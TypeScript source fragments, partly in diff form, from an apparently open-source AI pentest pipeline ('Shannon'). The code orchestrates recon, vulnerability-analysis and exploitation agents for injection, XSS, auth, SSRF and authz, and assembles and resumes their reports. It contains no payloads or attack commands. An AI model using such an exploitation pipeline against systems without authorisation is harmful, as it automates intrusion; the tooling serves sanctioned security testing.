const filePath = path.join(sourceDir, 'deliverables', file.path);
try {
if (await fs.pathExists(filePath)) {
const content = await fs.readFile(filePath, 'utf8');
sections.push(content);
logger.info(`Added ${file.name} findings`);
} else if (file.required) {
throw new PentestError(
`Required deliverable file not found: ${file.path}`,
'filesystem',
false,
{ deliverableFile: file.path, sourceDir },
ErrorCode.DELIVERABLE_NOT_FOUND,
);
} else {
logger.info(`No ${file.name} deliverable found`);
}
} catch (error) {
if (file.required) {
throw error;
}
const err = error as Error;
logger.warn(`Could not read ${file.path}: ${err.message}`);
}
}
const finalContent = sections.join('\n\n');
const deliverablesDir = path.join(sourceDir, 'deliverables');
const finalReportPath = path.join(deliverablesDir, 'comprehensive_security_assessment_report.md');
try {
// Ensure deliverables directory exists
await fs.ensureDir(deliverablesDir);
await fs.writeFile(finalReportPath, finalContent);
logger.info(`Final report assembled at ${finalReportPath}`);
} catch (error) {
const err = error as Error;
throw new PentestError(`Failed to write final report: ${err.message}`, 'filesystem', false, {
finalReportPath,
originalError: err.message,
});
}
return finalContent;
}
/**
* Inject model information into the final security report.
* Reads session.json to get the model(s) used, then injects a "Model:" line
* into the Executive Summary section of the report.
*/
export async function injectModelIntoReport(
repoPath: string,
outputPath: string,
logger: ActivityLogger,
): Promise<void> {
// 1. Read session.json to get model information
const sessionJsonPath = path.join(outputPath, 'session.json');
if (!(await fs.pathExists(sessionJsonPath))) {
logger.warn('session.json not found, skipping model injection');
return;
}
interface SessionData {
metrics: {
agents: Record<string, { model?: string }>;
};
}
const sessionData: SessionData = await fs.readJson(sessionJsonPath);
// 2. Extract unique models from all agents
const models = new Set<string>();
for (const agent of Object.values(sessionData.metrics.agents)) {
if (agent.model) {
models.add(agent.model);
}
}
if (models.size === 0) {
logger.warn('No model information found in session.json');
return;
}
const modelStr = Array.from(models).join(', ');
logger.info(`Injecting model info into report: ${modelStr}`);
// 3. Read the final report
const reportPath = path.join(repoPath, 'deliverables', 'comprehensive_security_assessment_report.md');
if (!(await fs.pathExists(reportPath))) {
logger.warn('Final report not found, skipping model injection');
return;
}
let reportContent = await fs.readFile(reportPath, 'utf8');
// 4. Find and inject model line after "Assessment Date" in Executive Summary
// Pattern: "- Assessment Date: <date>" followed by a newline
const assessmentDatePattern = /^(- Assessment Date: .+)$/m;
const match = reportContent.match(assessmentDatePattern);
if (match) {
// Inject model line after Assessment Date
const modelLine = `- Model: ${modelStr}`;
reportContent = reportContent.replace(assessmentDatePattern, `$1\n${modelLine}`);
logger.info('Model info injected into Executive Summary');
} else {
// If no Assessment Date line found, try to add after Executive Summary header
const execSummaryPattern = /^## Executive Summary$/m;
if (reportContent.match(execSummaryPattern)) {
// Add model as first item in Executive Summary
reportContent = reportContent.replace(execSummaryPattern, `## Executive Summary\n- Model: ${modelStr}`);
logger.info('Model info added to Executive Summary header');
} else {
logger.warn('Could not find Executive Summary section');
return;
}
}
// 5. Write modified report back
await fs.writeFile(reportPath, reportContent);
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
import { fs, path } from 'zx';
import { validateQueueAndDeliverable } from './services/queue-validation.js';
import type { ActivityLogger } from './types/activity-logger.js';
import type { AgentDefinition, AgentName, AgentValidator, PlaywrightSession, VulnType } from './types/index.js';
// Agent definitions according to PRD
export const AGENTS: Readonly<Record<AgentName, AgentDefinition>> = Object.freeze({
'pre-recon': {
name: 'pre-recon',
displayName: 'Pre-recon agent',
prerequisites: [],
promptTemplate: 'pre-recon-code',
deliverableFilename: 'code_analysis_deliverable.md',
modelTier: 'large',
},
recon: {
name: 'recon',
displayName: 'Recon agent',
prerequisites: ['pre-recon'],
promptTemplate: 'recon',
deliverableFilename: 'recon_deliverable.md',
},
'injection-vuln': {
name: 'injection-vuln',
displayName: 'Injection vuln agent',
prerequisites: ['recon'],
promptTemplate: 'vuln-injection',
deliverableFilename: 'injection_analysis_deliverable.md',
},
'xss-vuln': {
name: 'xss-vuln',
displayName: 'XSS vuln agent',
prerequisites: ['recon'],
promptTemplate: 'vuln-xss',
deliverableFilename: 'xss_analysis_deliverable.md',
},
'auth-vuln': {
name: 'auth-vuln',
displayName: 'Auth vuln agent',
prerequisites: ['recon'],
promptTemplate: 'vuln-auth',
deliverableFilename: 'auth_analysis_deliverable.md',
},
'ssrf-vuln': {
name: 'ssrf-vuln',
displayName: 'SSRF vuln agent',
prerequisites: ['recon'],
promptTemplate: 'vuln-ssrf',
deliverableFilename: 'ssrf_analysis_deliverable.md',
},
'authz-vuln': {
name: 'authz-vuln',
displayName: 'Authz vuln agent',
prerequisites: ['recon'],
promptTemplate: 'vuln-authz',
deliverableFilename: 'authz_analysis_deliverable.md',
},
'injection-exploit': {
name: 'injection-exploit',
displayName: 'Injection exploit agent',
prerequisites: ['injection-vuln'],
promptTemplate: 'exploit-injection',
deliverableFilename: 'injection_exploitation_evidence.md',
},
'xss-exploit': {
name: 'xss-exploit',
displayName: 'XSS exploit agent',
prerequisites: ['xss-vuln'],
promptTemplate: 'exploit-xss',
deliverableFilename: 'xss_exploitation_evidence.md',
},
'auth-exploit': {
name: 'auth-exploit',
displayName: 'Auth exploit agent',
prerequisites: ['auth-vuln'],
promptTemplate: 'exploit-auth',
deliverableFilename: 'auth_exploitation_evidence.md',
},
'ssrf-exploit': {
name: 'ssrf-exploit',
displayName: 'SSRF exploit agent',
prerequisites: ['ssrf-vuln'],
promptTemplate: 'exploit-ssrf',
deliverableFilename: 'ssrf_exploitation_evidence.md',
},
'authz-exploit': {
name: 'authz-exploit',
displayName: 'Authz exploit agent',
prerequisites: ['authz-vuln'],
promptTemplate: 'exploit-authz',
deliverableFilename: 'authz_exploitation_evidence.md',
},
report: {
name: 'report',
displayName: 'Report agent',
prerequisites: ['injection-exploit', 'xss-exploit', 'auth-exploit', 'ssrf-exploit', 'authz-exploit'],
promptTemplate: 'report-executive',
deliverableFilename: 'comprehensive_security_assessment_report.md',
modelTier: 'small',
},
});
// Phase names for metrics aggregation
export type PhaseName = 'pre-recon' | 'recon' | 'vulnerability-analysis' | 'exploitation' | 'reporting';
// Map agents to their corresponding phases (single source of truth)
export const AGENT_PHASE_MAP: Readonly<Record<AgentName, PhaseName>> = Object.freeze({
'pre-recon': 'pre-recon',
recon: 'recon',
'injection-vuln': 'vulnerability-analysis',
'xss-vuln': 'vulnerability-analysis',
'auth-vuln': 'vulnerability-analysis',
'authz-vuln': 'vulnerability-analysis',
'ssrf-vuln': 'vulnerability-analysis',
'injection-exploit': 'exploitation',
'xss-exploit': 'exploitation',
'auth-exploit': 'exploitation',
'authz-exploit': 'exploitation',
'ssrf-exploit': 'exploitation',
report: 'reporting',
});
// Factory function for vulnerability queue validators
function createVulnValidator(vulnType: VulnType): AgentValidator {
return async (sourceDir: string, logger: ActivityLogger): Promise<boolean> => {
try {
await validateQueueAndDeliverable(vulnType, sourceDir);
return true;
} catch (error) {
const errMsg = error instanceof Error ? error.message : String(error);
logger.warn(`Queue validation failed for ${vulnType}: ${errMsg}`);
return false;
}
};
}
// Factory function for exploit deliverable validators
function createExploitValidator(vulnType: VulnType): AgentValidator {
return async (sourceDir: string): Promise<boolean> => {
const evidenceFile = path.join(sourceDir, 'deliverables', `${vulnType}_exploitation_evidence.md`);
return await fs.pathExists(evidenceFile);
};
}
// Playwright session mapping - assigns each agent to a specific session for browser isolation
// Keys are promptTemplate values from AGENTS registry
export const PLAYWRIGHT_SESSION_MAPPING: Record<string, PlaywrightSession> = Object.freeze({
// Phase 1: Pre-reconnaissance
'pre-recon-code': 'agent1',
// Phase 2: Reconnaissance
recon: 'agent2',
// Phase 3: Vulnerability Analysis (5 parallel agents)
'vuln-injection': 'agent1',
'vuln-xss': 'agent2',
'vuln-auth': 'agent3',
'vuln-ssrf': 'agent4',
'vuln-authz': 'agent5',
// Phase 4: Exploitation (5 parallel agents - same as vuln counterparts)
'exploit-injection': 'agent1',
'exploit-xss': 'agent2',
'exploit-auth': 'agent3',
'exploit-ssrf': 'agent4',
'exploit-authz': 'agent5',
// Phase 5: Reporting
'report-executive': 'agent3',
});
// Direct agent-to-validator mapping - much simpler than pattern matching
export const AGENT_VALIDATORS: Record<AgentName, AgentValidator> = Object.freeze({
// Pre-reconnaissance agent - validates the code analysis deliverable created by the agent
'pre-recon': async (sourceDir: string): Promise<boolean> => {
const codeAnalysisFile = path.join(sourceDir, 'deliverables', 'code_analysis_deliverable.md');
return await fs.pathExists(codeAnalysisFile);
},
// Reconnaissance agent
recon: async (sourceDir: string): Promise<boolean> => {
const reconFile = path.join(sourceDir, 'deliverables', 'recon_deliverable.md');
return await fs.pathExists(reconFile);
},
// Vulnerability analysis agents
'injection-vuln': createVulnValidator('injection'),
'xss-vuln': createVulnValidator('xss'),
'auth-vuln': createVulnValidator('auth'),
'ssrf-vuln': createVulnValidator('ssrf'),
'authz-vuln': createVulnValidator('authz'),
// Exploitation agents
'injection-exploit': createExploitValidator('injection'),
'xss-exploit': createExploitValidator('xss'),
'auth-exploit': createExploitValidator('auth'),
'ssrf-exploit': createExploitValidator('ssrf'),
'authz-exploit': createExploitValidator('authz'),
// Executive report agent
report: async (sourceDir: string, logger: ActivityLogger): Promise<boolean> => {
const reportFile = path.join(sourceDir, 'deliverables', 'comprehensive_security_assessment_report.md');
const reportExists = await fs.pathExists(reportFile);
if (!reportExists) {
logger.error('Missing required deliverable: comprehensive_security_assessment_report.md');
}
return reportExists;
},
});
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Temporal activities for Shannon agent execution.
*
* Each activity wraps service calls with Temporal-specific concerns:
* - Heartbeat loop (2s interval) to signal worker liveness
* - Error classification into ApplicationFailure
* - Container lifecycle management
*
* Business logic is delegated to services in src/services/.
*/
import fs from 'node:fs/promises';
import path from 'node:path';
import { ApplicationFailure, Context, heartbeat } from '@temporalio/activity';
import { AuditSession } from '../audit/index.js';
import type { ResumeAttempt } from '../audit/metrics-tracker.js';
import { copyDeliverablesToAudit, type SessionMetadata } from '../audit/utils.js';
import type { WorkflowSummary } from '../audit/workflow-logger.js';
import { getContainer, getOrCreateContainer, removeContainer } from '../services/container.js';
import { classifyErrorForTemporal, PentestError } from '../services/error-handling.js';
import { ExploitationCheckerService } from '../services/exploitation-checker.js';
import { executeGitCommandWithRetry } from '../services/git-manager.js';
import { runPreflightChecks } from '../services/preflight.js';
import type { ExploitationDecision, VulnType } from '../services/queue-validation.js';
import { assembleFinalReport, injectModelIntoReport } from '../services/reporting.js';
import { AGENTS } from '../session-manager.js';
import type { AgentName } from '../types/agents.js';
import { ALL_AGENTS } from '../types/agents.js';
import { ErrorCode } from '../types/errors.js';
import { isErr } from '../types/result.js';
import { fileExists, readJson } from '../utils/file-io.js';
import { createActivityLogger } from './activity-logger.js';
import type { AgentMetrics, ResumeState } from './shared.js';
// Max lengths to prevent Temporal protobuf buffer overflow
const MAX_ERROR_MESSAGE_LENGTH = 2000;
const MAX_STACK_TRACE_LENGTH = 1000;
// Max retries for output validation errors (agent didn't save deliverables)
const MAX_OUTPUT_VALIDATION_RETRIES = 3;
const HEARTBEAT_INTERVAL_MS = 2000;
/**
* Input for all agent activities.
*/
export interface ActivityInput {
webUrl: string;
repoPath: string;
configPath?: string;
outputPath?: string;
pipelineTestingMode?: boolean;
workflowId: string;
sessionId: string;
}
/**
* Truncate error message to prevent buffer overflow in Temporal serialization.
*/
function truncateErrorMessage(message: string): string {
if (message.length <= MAX_ERROR_MESSAGE_LENGTH) {
return message;
}
return `${message.slice(0, MAX_ERROR_MESSAGE_LENGTH - 20)}\n[truncated]`;
}
/**
* Truncate stack trace on an ApplicationFailure to prevent buffer overflow.
*/
function truncateStackTrace(failure: ApplicationFailure): void {
if (failure.stack && failure.stack.length > MAX_STACK_TRACE_LENGTH) {
failure.stack = `${failure.stack.slice(0, MAX_STACK_TRACE_LENGTH)}\n[stack truncated]`;
}
}
/**
* Build SessionMetadata from ActivityInput.
*/
function buildSessionMetadata(input: ActivityInput): SessionMetadata {
const { webUrl, repoPath, outputPath, sessionId } = input;
return {
id: sessionId,
webUrl,
repoPath,
...(outputPath && { outputPath }),
};
}
/**
* Core activity implementation using services.
*
* Executes a single agent with:
* 1. Heartbeat loop for worker liveness
* 2. Container creation/reuse
* 3. Service-based agent execution
* 4. Error classification for Temporal retry
*/
async function runAgentActivity(agentName: AgentName, input: ActivityInput): Promise<AgentMetrics> {
const { repoPath, configPath, pipelineTestingMode = false, workflowId, webUrl } = input;
const startTime = Date.now();
const attemptNumber = Context.current().info.attempt;
// Heartbeat loop - signals worker is alive to Temporal server
const heartbeatInterval = setInterval(() => {
const elapsed = Math.floor((Date.now() - startTime) / 1000);
heartbeat({ agent: agentName, elapsedSeconds: elapsed, attempt: attemptNumber });
}, HEARTBEAT_INTERVAL_MS);
try {
const logger = createActivityLogger();
// 1. Build session metadata and get/create container
const sessionMetadata = buildSessionMetadata(input);
const container = getOrCreateContainer(workflowId, sessionMetadata);
// 2. Create audit session for THIS agent execution
// NOTE: Each agent needs its own AuditSession because AuditSession uses
// instance state (currentAgentName) that cannot be shared across parallel agents
const auditSession = new AuditSession(sessionMetadata);
await auditSession.initialize(workflowId);
// 3. Execute agent via service (throws PentestError on failure)
const endResult = await container.agentExecution.executeOrThrow(
agentName,
{
webUrl,
repoPath,
configPath,
pipelineTestingMode,
attemptNumber,
},
auditSession,
logger,
);
// 4. Return metrics
return {
durationMs: Date.now() - startTime,
inputTokens: null,
outputTokens: null,
costUsd: endResult.cost_usd,
numTurns: null,
model: endResult.model,
};
} catch (error) {
// If error is already an ApplicationFailure, re-throw directly
if (error instanceof ApplicationFailure) {
throw error;
}
// Check if output validation retry limit reached (PentestError with code)
if (
error instanceof PentestError &&
error.code === ErrorCode.OUTPUT_VALIDATION_FAILED &&
attemptNumber >= MAX_OUTPUT_VALIDATION_RETRIES
) {
throw ApplicationFailure.nonRetryable(
`Agent ${agentName} failed output validation after ${attemptNumber} attempts`,
'OutputValidationError',
[{ agentName, attemptNumber, elapsed: Date.now() - startTime }],
);
}
// Classify error for Temporal retry behavior
const classified = classifyErrorForTemporal(error);
const rawMessage = error instanceof Error ? error.message : String(error);
const message = truncateErrorMessage(rawMessage);
if (classified.retryable) {
const failure = ApplicationFailure.create({
message,
type: classified.type,
details: [{ agentName, attemptNumber, elapsed: Date.now() - startTime }],
});
truncateStackTrace(failure);
throw failure;
} else {
const failure = ApplicationFailure.nonRetryable(message, classified.type, [
{ agentName, attemptNumber, elapsed: Date.now() - startTime },
]);
truncateStackTrace(failure);
throw failure;
}
} finally {
clearInterval(heartbeatInterval);
}
}
export async function runPreReconAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('pre-recon', input);
}
export async function runReconAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('recon', input);
}
export async function runInjectionVulnAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('injection-vuln', input);
}
export async function runXssVulnAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('xss-vuln', input);
}
export async function runAuthVulnAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('auth-vuln', input);
}
export async function runSsrfVulnAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('ssrf-vuln', input);
}
export async function runAuthzVulnAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('authz-vuln', input);
}
export async function runInjectionExploitAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('injection-exploit', input);
}
export async function runXssExploitAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('xss-exploit', input);
}
export async function runAuthExploitAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('auth-exploit', input);
}
export async function runSsrfExploitAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('ssrf-exploit', input);
}
export async function runAuthzExploitAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('authz-exploit', input);
}
export async function runReportAgent(input: ActivityInput): Promise<AgentMetrics> {
return runAgentActivity('report', input);
}
/**
* Preflight validation activity.
*
* Runs cheap checks before any agent execution:
* 1. Repository path exists with .git
* 2. Config file validates (if provided)
* 3. Credential validation (API key, OAuth, or router mode)
* 4. Target URL reachable from the container
*
* NOT using runAgentActivity — preflight doesn't run an agent via the SDK.
*/
export async function runPreflightValidation(input: ActivityInput): Promise<void> {
const startTime = Date.now();
const attemptNumber = Context.current().info.attempt;
const heartbeatInterval = setInterval(() => {
const elapsed = Math.floor((Date.now() - startTime) / 1000);
heartbeat({ phase: 'preflight', elapsedSeconds: elapsed, attempt: attemptNumber });
}, HEARTBEAT_INTERVAL_MS);
try {
const logger = createActivityLogger();
logger.info('Running preflight validation...', { attempt: attemptNumber });
const result = await runPreflightChecks(input.webUrl, input.repoPath, input.configPath, logger);
if (isErr(result)) {
const classified = classifyErrorForTemporal(result.error);
const message = truncateErrorMessage(result.error.message);
if (classified.retryable) {
const failure = ApplicationFailure.create({
message,
type: classified.type,
details: [{ phase: 'preflight', attemptNumber, elapsed: Date.now() - startTime }],
});
truncateStackTrace(failure);
throw failure;
} else {
const failure = ApplicationFailure.nonRetryable(message, classified.type, [
{ phase: 'preflight', attemptNumber, elapsed: Date.now() - startTime },
]);
truncateStackTrace(failure);
throw failure;
}
}
logger.info('Preflight validation passed');
} catch (error) {
if (error instanceof ApplicationFailure) {
throw error;
}
const classified = classifyErrorForTemporal(error);
const rawMessage = error instanceof Error ? error.message : String(error);
const message = truncateErrorMessage(rawMessage);
const failure = ApplicationFailure.nonRetryable(message, classified.type, [
{ phase: 'preflight', attemptNumber, elapsed: Date.now() - startTime },
]);
truncateStackTrace(failure);
throw failure;
} finally {
clearInterval(heartbeatInterval);
}
}
/**
* Assemble the final report by concatenating exploitation evidence files.
*/
export async function assembleReportActivity(input: ActivityInput): Promise<void> {
const { repoPath } = input;
const logger = createActivityLogger();
logger.info('Assembling deliverables from specialist agents...');
try {
await assembleFinalReport(repoPath, logger);
} catch (error) {
const err = error as Error;
logger.warn(`Error assembling final report: ${err.message}`);
}
}
/**
* Inject model metadata into the final report.
*/
export async function injectReportMetadataActivity(input: ActivityInput): Promise<void> {
const { repoPath, sessionId, outputPath } = input;
const logger = createActivityLogger();
const effectiveOutputPath = outputPath ? path.join(outputPath, sessionId) : path.join('./workspaces', sessionId);
try {
await injectModelIntoReport(repoPath, effectiveOutputPath, logger);
} catch (error) {
const err = error as Error;
logger.warn(`Error injecting model into report: ${err.message}`);
}
}
/**
* Check if exploitation should run for a given vulnerability type.
*
* Uses existing container if available (from prior agent runs),
* otherwise creates service directly (stateless, no dependencies).
*/
export async function checkExploitationQueue(input: ActivityInput, vulnType: VulnType): Promise<ExploitationDecision> {
const { repoPath, workflowId } = input;
const logger = createActivityLogger();
// Reuse container's service if available (from prior vuln agent runs)
const existingContainer = getContainer(workflowId);
const checker = existingContainer?.exploitationChecker ?? new ExploitationCheckerService();
return checker.checkQueue(vulnType, repoPath, logger);
}
interface SessionJson {
session: {
id: string;
webUrl: string;
repoPath?: string;
originalWorkflowId?: string;
resumeAttempts?: ResumeAttempt[];
};
metrics: {
agents: Record<
string,
{
status: 'in-progress' | 'success' | 'failed';
checkpoint?: string;
}
>;
};
}
/**
* Load resume state from an existing workspace.
*/
export async function loadResumeState(
workspaceName: string,
expectedUrl: string,
expectedRepoPath: string,
): Promise<ResumeState> {
// 1. Validate workspace exists
const sessionPath = path.join('./workspaces', workspaceName, 'session.json');
const exists = await fileExists(sessionPath);
if (!exists) {
throw ApplicationFailure.nonRetryable(
`Workspace not found: ${workspaceName}\nExpected path: ${sessionPath}`,
'WorkspaceNotFoundError',
);
}
// 2. Parse session.json and validate URL match
let session: SessionJson;
try {
session = await readJson<SessionJson>(sessionPath);
} catch (error) {
const errorMsg = error instanceof Error ? error.message : String(error);
throw ApplicationFailure.nonRetryable(
`Corrupted session.json in workspace ${workspaceName}: ${errorMsg}`,
'CorruptedSessionError',
);
}
if (session.session.webUrl !== expectedUrl) {
throw ApplicationFailure.nonRetryable(
`URL mismatch with workspace\n Workspace URL: ${session.session.webUrl}\n Provided URL: ${expectedUrl}`,
'URLMismatchError',
);
}
// 3. Cross-check agent status with deliverables on disk
const completedAgents: string[] = [];
const agents = session.metrics.agents;
for (const agentName of ALL_AGENTS) {
const agentData = agents[agentName];
if (!agentData || agentData.status !== 'success') {
continue;
}
const deliverableFilename = AGENTS[agentName].deliverableFilename;
const deliverablePath = `${expectedRepoPath}/deliverables/${deliverableFilename}`;
const deliverableExists = await fileExists(deliverablePath);
if (!deliverableExists) {
const logger = createActivityLogger();
logger.warn(`Agent ${agentName} shows success but deliverable missing, will re-run`);
continue;
}
completedAgents.push(agentName);
}
// 4. Collect git checkpoints and validate at least one exists
const checkpoints = completedAgents
.map((name) => agents[name]?.checkpoint)
.filter((hash): hash is string => hash != null);
if (checkpoints.length === 0) {
const successAgents = Object.entries(agents)
.filter(([, data]) => data.status === 'success')
.map(([name]) => name);
throw ApplicationFailure.nonRetryable(
`Cannot resume workspace ${workspaceName}: ` +
(successAgents.length > 0
? `${successAgents.length} agent(s) show success in session.json (${successAgents.join(', ')}) ` +
`but their deliverable files are missing from disk. ` +
`Start a fresh run instead.`
: `No agents completed successfully. Start a fresh run instead.`),
'NoCheckpointsError',
);
}
// 5. Find the most recent checkpoint commit
const checkpointHash = await findLatestCommit(expectedRepoPath, checkpoints);
const originalWorkflowId = session.session.originalWorkflowId || session.session.id;
// 6. Log summary and return resume state
const logger = createActivityLogger();
logger.info('Resume state loaded', {
workspace: workspaceName,
completedAgents: completedAgents.length,
checkpoint: checkpointHash,
});
return {
workspaceName,
originalUrl: session.session.webUrl,
completedAgents,
checkpointHash,
originalWorkflowId,
};
}
async function findLatestCommit(repoPath: string, commitHashes: string[]): Promise<string> {
if (commitHashes.length === 1) {
const hash = commitHashes[0];
if (!hash) {
throw new PentestError(
'Empty commit hash in array',
'filesystem',
false, // Non-retryable - corrupt workspace state
{ phase: 'resume' },
ErrorCode.GIT_CHECKPOINT_FAILED,
);
}
return hash;
}
const result = await executeGitCommandWithRetry(
['git', 'rev-list', '--max-count=1', ...commitHashes],
repoPath,
'find latest commit',
);
return result.stdout.trim();
}
/**
* Restore git workspace to a checkpoint and clean up partial deliverables.
*/
export async function restoreGitCheckpoint(
repoPath: string,
checkpointHash: string,
incompleteAgents: AgentName[],
): Promise<void> {
const logger = createActivityLogger();
logger.info(`Restoring git workspace to ${checkpointHash}...`);
await executeGitCommandWithRetry(
['git', 'reset', '--hard', checkpointHash],
repoPath,
'reset to checkpoint for resume',
);
await executeGitCommandWithRetry(['git', 'clean', '-fd'], repoPath, 'clean untracked files for resume');
for (const agentName of incompleteAgents) {
const deliverableFilename = AGENTS[agentName].deliverableFilename;
const deliverablePath = `${repoPath}/deliverables/${deliverableFilename}`;
try {
const exists = await fileExists(deliverablePath);
if (exists) {
logger.warn(`Cleaning partial deliverable: ${agentName}`);
await fs.unlink(deliverablePath);
}
} catch (error) {
logger.info(`Note: Failed to delete ${deliverablePath}: ${error}`);
}
}
logger.info('Workspace restored to clean state');
}
/**
* Record a resume attempt in session.json and write resume header to workflow.log.
*/
export async function recordResumeAttempt(
input: ActivityInput,
terminatedWorkflows: string[],
checkpointHash: string,
previousWorkflowId: string,
completedAgents: string[],
): Promise<void> {
const sessionMetadata = buildSessionMetadata(input);
const auditSession = new AuditSession(sessionMetadata);
await auditSession.initialize();
// Update session.json with resume attempt
await auditSession.addResumeAttempt(input.workflowId, terminatedWorkflows, checkpointHash);
// Write resume header to workflow.log
await auditSession.logResumeHeader({
previousWorkflowId,
newWorkflowId: input.workflowId,
checkpointHash,
completedAgents,
});
}
/**
* Log phase transition to the unified workflow log.
*/
export async function logPhaseTransition(
input: ActivityInput,
phase: string,
event: 'start' | 'complete',
): Promise<void> {
const sessionMetadata = buildSessionMetadata(input);
const auditSession = new AuditSession(sessionMetadata);
await auditSession.initialize(input.workflowId);
if (event === 'start') {
await auditSession.logPhaseStart(phase);
} else {
await auditSession.logPhaseComplete(phase);
}
}
/**
* Log workflow completion with full summary.
* Cleans up container when done.
*/
export async function logWorkflowComplete(input: ActivityInput, summary: WorkflowSummary): Promise<void> {
const { repoPath, workflowId } = input;
const sessionMetadata = buildSessionMetadata(input);
// 1. Initialize audit session and mark final status
const auditSession = new AuditSession(sessionMetadata);
await auditSession.initialize(workflowId);
await auditSession.updateSessionStatus(summary.status);
// 2. Load cumulative metrics from session.json
const sessionData = (await auditSession.getMetrics()) as {
metrics: {
total_duration_ms: number;
total_cost_usd: number;
agents: Record<string, { final_duration_ms: number; total_cost_usd: number }>;
};
};
// 3. Fill in metrics for skipped agents (resumed from previous run)
const agentMetrics = { ...summary.agentMetrics };
for (const agentName of summary.completedAgents) {
if (!agentMetrics[agentName]) {
const agentData = sessionData.metrics.agents[agentName];
if (agentData) {
agentMetrics[agentName] = {
durationMs: agentData.final_duration_ms,
costUsd: agentData.total_cost_usd,
};
}
}
}
// 4. Build cumulative summary with cross-run totals
const cumulativeSummary: WorkflowSummary = {
...summary,
totalDurationMs: sessionData.metrics.total_duration_ms,
totalCostUsd: sessionData.metrics.total_cost_usd,
agentMetrics,
};
// 5. Write completion entry to workflow.log
await auditSession.logWorkflowComplete(cumulativeSummary);
// 6. Copy deliverables to workspaces
try {
await copyDeliverablesToAudit(sessionMetadata, repoPath);
} catch (copyErr) {
const logger = createActivityLogger();
logger.error('Failed to copy deliverables to workspaces', {
error: copyErr instanceof Error ? copyErr.message : String(copyErr),
});
}
// 7. Clean up container
removeContainer(workflowId);
}
@@ -0,0 +1,34 @@
// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
import { Context } from '@temporalio/activity';
import type { ActivityLogger } from '../types/activity-logger.js';
/**
* ActivityLogger backed by Temporal's Context.current().log.
* Must be called inside a running Temporal activity — throws otherwise.
*/
export class TemporalActivityLogger implements ActivityLogger {
info(message: string, attrs?: Record<string, unknown>): void {
Context.current().log.info(message, attrs ?? {});
}
warn(message: string, attrs?: Record<string, unknown>): void {
Context.current().log.warn(message, attrs ?? {});
}
error(message: string, attrs?: Record<string, unknown>): void {
Context.current().log.error(message, attrs ?? {});
}
}
/**
* Create an ActivityLogger. Must be called inside a Temporal activity.
* Throws if called outside an activity context.
*/
export function createActivityLogger(): ActivityLogger {
return new TemporalActivityLogger();
}
+66
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import { defineQuery } from '@temporalio/workflow';
export type { AgentMetrics } from '../types/metrics.js';
import type { PipelineConfig } from '../types/config.js';
import type { AgentMetrics } from '../types/metrics.js';
export interface PipelineInput {
webUrl: string;
repoPath: string;
configPath?: string;
outputPath?: string;
pipelineTestingMode?: boolean;
pipelineConfig?: PipelineConfig;
workflowId?: string; // Used for audit correlation
sessionId?: string; // Workspace directory name (distinct from workflowId for named workspaces)
resumeFromWorkspace?: string; // Workspace name to resume from
terminatedWorkflows?: string[]; // Workflows terminated during resume
}
export interface ResumeState {
workspaceName: string;
originalUrl: string;
completedAgents: string[];
checkpointHash: string;
originalWorkflowId: string;
}
export interface PipelineSummary {
totalCostUsd: number;
totalDurationMs: number; // Wall-clock time (end - start)
totalTurns: number;
agentCount: number;
}
export interface PipelineState {
status: 'running' | 'completed' | 'failed';
currentPhase: string | null;
currentAgent: string | null;
completedAgents: string[];
failedAgent: string | null;
error: string | null;
startTime: number;
agentMetrics: Record<string, AgentMetrics>;
summary: PipelineSummary | null;
}
// Extended state returned by getProgress query (includes computed fields)
export interface PipelineProgress extends PipelineState {
workflowId: string;
elapsedMs: number;
}
// Result from a single vuln→exploit pipeline
export interface VulnExploitPipelineResult {
vulnType: string;
vulnMetrics: AgentMetrics | null;
exploitMetrics: AgentMetrics | null;
exploitDecision: {
shouldExploit: boolean;
vulnerabilityCount: number;
} | null;
error: string | null;
}
export const getProgress = defineQuery<PipelineProgress>('getProgress');
@@ -0,0 +1,39 @@
// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Maps PipelineState to WorkflowSummary for audit logging.
* Pure function with no side effects.
*/
import type { WorkflowSummary } from '../audit/workflow-logger.js';
import type { PipelineState } from './shared.js';
/**
* Maps PipelineState to WorkflowSummary.
*
* This function is deterministic (no Date.now() or I/O) so it can be
* safely imported into Temporal workflows. The caller must ensure
* state.summary is set before calling (via computeSummary).
*/
export function toWorkflowSummary(state: PipelineState, status: 'completed' | 'failed'): WorkflowSummary {
// state.summary must be computed before calling this mapper
const summary = state.summary;
if (!summary) {
throw new Error('toWorkflowSummary: state.summary must be set before calling');
}
return {
status,
totalDurationMs: summary.totalDurationMs,
totalCostUsd: summary.totalCostUsd,
completedAgents: state.completedAgents,
agentMetrics: Object.fromEntries(
Object.entries(state.agentMetrics).map(([name, m]) => [name, { durationMs: m.durationMs, costUsd: m.costUsd }]),
),
...(state.error && { error: state.error }),
};
}
+454
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@@ -0,0 +1,454 @@
#!/usr/bin/env node
// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Combined Temporal worker + client for Shannon pentest pipeline.
*
* Starts a worker on a per-invocation task queue, submits a workflow,
* waits for the result, and exits. Designed to run as a single ephemeral
* container per scan.
*
* Usage:
* node dist/temporal/worker.js <webUrl> <repoPath> [options]
*
* Options:
